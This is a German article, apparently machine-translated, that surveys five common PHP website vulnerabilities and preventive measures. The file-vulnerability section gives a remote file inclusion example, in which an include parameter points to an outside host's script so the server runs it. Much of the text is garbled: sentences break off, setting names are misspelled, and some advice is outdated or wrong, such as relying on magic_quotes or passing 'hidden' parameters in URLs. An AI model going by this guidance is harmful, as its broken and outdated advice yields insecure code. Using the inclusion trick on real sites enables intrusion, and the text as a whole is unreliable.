Gegenwärtig ist die Website-Entwicklung auf Basis von PHP zum Mainstream der aktuellen Website-Entwicklung geworden. Der Autor dieses Artikels konzentriert sich auf die Erforschung von PHP-Website-Angriffen und der Sicherheitsprävention, mit dem Ziel, Website-Schwachstellen zu reduzieren an alle!
1. Häufige Sicherheitslücken in PHP-Websites
Was PHP-Schwachstellen betrifft, gibt es derzeit fünf häufige Schwachstellen. Dabei handelt es sich um Sicherheitslücken in Sitzungsdateien, durch SQL-Injection, durch Schwachstellen bei der Ausführung von Skriptbefehlen, durch globale Variablen und durch Dateischwachstellen. Hier finden Sie eine kurze Einführung zu jeder dieser Schwachstellen.
1. Sicherheitslücke in der Sitzungsdatei
Sitzungsangriffe sind eine der am häufigsten von Hackern verwendeten Angriffsmethoden. Wenn ein Benutzer eine bestimmte Website besucht, setzt PHP Sitzung und Cookie, um zu verhindern, dass der Kunde bei jedem Betreten einer Seite seine Kontonummer und sein Passwort eingibt, um die Verwendung und den Zugriff des Benutzers zu erleichtern.
2. SQL-Injection-Schwachstelle
Bei der Entwicklung von Websites mangelt es Programmierern an einem umfassenden Urteil über Benutzereingabedaten oder sie filtern diese nicht streng, was dazu führt, dass der Server einige schädliche Informationen ausführt, wie z. B. Benutzerinformationsabfragen. Hacker können anhand der von Schadprogrammen zurückgegebenen Ergebnisse entsprechende Informationen erhalten. Hierbei handelt es sich um eine SQL-Injection-Sicherheitslücke.
3. Schwachstelle bei der Skriptausführung
Eine häufige Ursache für Schwachstellen bei der Skriptausführung ist, dass Programmierer die von Benutzern übermittelten URL-Parameter bei der Entwicklung von Websites nicht filtern. Die von Benutzern übermittelten URLs können schädlichen Code enthalten, was zu Cross-Site-Scripting-Angriffen führt. In früheren PHP-Websites gab es häufig Schwachstellen bei der Skriptausführung, aber mit der Aktualisierung der PHP-Versionen wurden diese Probleme reduziert oder bestehen nicht mehr.
4. Globale variable Schwachstelle
Variablen in PHP müssen nicht wie in anderen Entwicklungssprachen im Voraus deklariert werden. Variablen in PHP können direkt und ohne Deklaration verwendet werden, und es ist nicht erforderlich, den Variablentyp anzugeben Beschreibung: Das System ermittelt den Variablentyp automatisch anhand des Kontexts. Diese Methode kann die Wahrscheinlichkeit, dass Programmierer beim Programmieren Fehler machen, erheblich verringern und ist sehr praktisch in der Anwendung.
5. Datei-Schwachstelle
Sicherheitslücken in Dateien werden in der Regel dadurch verursacht, dass Website-Entwickler bei der Gestaltung von Websites extern bereitgestellte Daten nicht ausreichend filtern, was es Hackern ermöglicht, die Sicherheitslücken auszunutzen, um entsprechende Befehle im Webprozess auszuführen. Wenn lsm.php einen solchen Code enthält: include($b."/aaa.php"), können Hacker über die Variable $b Remote-Angriffe ausführen, auf die der Hacker seinen eigenen Code implementieren kann Websites. Sie können a.php include=http://lZ7.0.0/b.php an den Server senden und dann die Anweisungen von b.php ausführen.
2. Vorbeugende Maßnahmen für häufige PHP-Schwachstellen
1. Vermeidung von Sitzungsschwachstellen
Aus der vorherigen Analyse können wir wissen, dass die häufigste Art von Sitzungsangriffen Sitzungshijacking ist, d Melden Sie sich auf der entsprechenden Website an.
Aus diesem Grund können Sie mit folgenden Methoden vorbeugen:
Ändern Sie zunächst regelmäßig die Sitzungs-ID. Das Ändern der Sitzungs-ID kann mithilfe der PHP-eigenen Funktionen erfolgen
Die zweite Möglichkeit besteht darin, den Sitzungsnamen zu ändern. Diese Variable wird normalerweise in einem Cookie gespeichert. Sie können einige Angriffe durch Hacker blockieren >
Die dritte besteht darin, die transparente Sitzungs-ID zu deaktivieren. Die sogenannte Transparenz bedeutet, dass die Sitzungs-ID über den Link weitergeleitet wird, wenn die HTTP-Anfrage keine Cookies verwendet Die transparente Sitzungs-ID kann durch Betreiben der PHP.ini-Datei erreicht werden. Der vierte Schritt besteht darin, versteckte Parameter über die URL zu übergeben, was sicherstellt, dass es schwierig ist, selbst wenn der Hacker die Sitzungsdaten erhält, da die relevanten Parameter verborgen sind damit es den Wert der Sitzungs-ID-Variablen erhält.
2. Verhinderung von SQL-Injection-Schwachstellen
Es gibt viele Möglichkeiten für Hacker, SQL-Injection durchzuführen, und sie sind flexibel und veränderbar. Was SQL-Injection jedoch gemeinsam hat, ist die Nutzung von Schwachstellen bei der Eingabefilterung. Um SQL-Injection grundsätzlich zu verhindern, besteht die grundlegende Lösung daher darin, die Filterung von Anforderungsbefehlen, insbesondere Abfrageanforderungsbefehlen, zu verstärken.
Im Einzelnen umfasst es folgende Punkte:
Die erste besteht darin, die Filteranweisungen zu parametrisieren, das heißt, die Eingabe von Benutzerinformationen durch parametrisierte Anweisungen zu realisieren, anstatt Benutzereingaben direkt in die Anweisungen einzubetten;
Die zweite Möglichkeit besteht darin, bei der Entwicklung der Website so wenig Interpretationsprogramme wie möglich zu verwenden. Hacker nutzen diese Methode häufig, um illegale Befehle auszuführen
Der dritte Punkt besteht darin, Fehler auf der Website so weit wie möglich zu vermeiden, da Hacker diese Informationen sonst möglicherweise zum Angriff auf die Website verwenden. Darüber hinaus reicht es nicht aus, sich einfach gegen SQL-Injection zu verteidigen muss häufig zum Scannen der Website verwendet werden. Führen Sie einen Schwachstellenscan durch.
3. Verhinderung von Schwachstellen bei der Skriptausführung
Die Mittel, mit denen Hacker Schwachstellen bei der Skriptausführung für Angriffe nutzen, sind vielfältig und flexibel. In diesem Zusammenhang muss eine Kombination von Präventionsmethoden eingesetzt werden, um Hacker wirksam daran zu hindern, Schwachstellen bei der Skriptausführung für Angriffe auszunutzen.
Hier gibt es vier häufig verwendete Methoden:
Die erste besteht darin, den Pfad der ausführbaren Datei vorab festzulegen. kann über safe_moade_exec_dir
erreicht werden
Die zweite besteht darin, die Befehlsparameter zu verarbeiten, was im Allgemeinen mit der Funktion escapeshellarg implementiert wird
Die dritte Möglichkeit besteht darin, die systemeigene Funktionsbibliothek zu verwenden, um externe Befehle zu ersetzen
Viertens ist es möglich, die Verwendung externer Befehle während des Betriebs zu reduzieren.
4. Verhindern Sie globale Variablenschwachstellen
In Bezug auf die Anfälligkeit globaler PHP-Variablen gab es in der vorherigen PHP-Version ein solches Problem. Nach dem Upgrade der PHP-Version auf 5.5 kann dies jedoch durch Setzen von php.ini und Setzen von ruquest_order auf GPC behoben werden.
Darüber hinaus können Sie in der Konfigurationsdatei php.ini festlegen, ob Backslashes zu Überlaufzeichen in externen Daten in Anführungszeichen hinzugefügt werden sollen, indem Sie einen booleschen Wert auf magic_quotes_runtime setzen.
Um sicherzustellen, dass das Website-Programm in jeder Einstellung des Servers ausgeführt werden kann. Sie können get_magic_quotes_runtime verwenden, um den Einstellungsstatus am Anfang des gesamten Programms zu erkennen und zu entscheiden, ob Sie ihn manuell bearbeiten möchten, oder set_magic_quotes_runtime(0) verwenden, um ihn am Anfang zu deaktivieren (oder wenn automatische Escapezeichen nicht erforderlich sind).
5. Vermeidung von Dateischwachstellen
PHP-Dateilecks können Sie verhindern, indem Sie den Server einrichten und konfigurieren.
Die spezifischen Vorgänge hier sind wie folgt:
Deaktivieren Sie zunächst die Fehleraufforderungen im PHP-Code, um zu verhindern, dass Hacker über Fehleraufforderungen an Datenbankinformationen und physische Pfade von Webseitendateien gelangen
Die zweite besteht darin, open_basedir sorgfältig festzulegen, dh Dateioperationen außerhalb des Verzeichnisses zu verbieten
Dies kann lokale Dateien oder Remote-Dateien schützen und verhindern, dass sie angegriffen werden. Achten Sie auch hier darauf um Angriffe auf Sitzungsdateien und hochgeladene Dateien zu verhindern;
Der dritte Punkt besteht darin, „safe-made“ zu aktivieren, um die auszuführenden Befehle zu standardisieren. Durch das Verbot des Hochladens von Dateien kann der Sicherheitsfaktor der PHP-Website effektiv verbessert werden.
Das Obige hat eine Zusammenfassung häufiger Sicherheitslücken in PHP-Websites und entsprechender vorbeugender Maßnahmen vorgestellt, einschließlich relevanter Inhalte. Ich hoffe, dass es für Freunde hilfreich sein wird, die an PHP-Tutorials interessiert sind.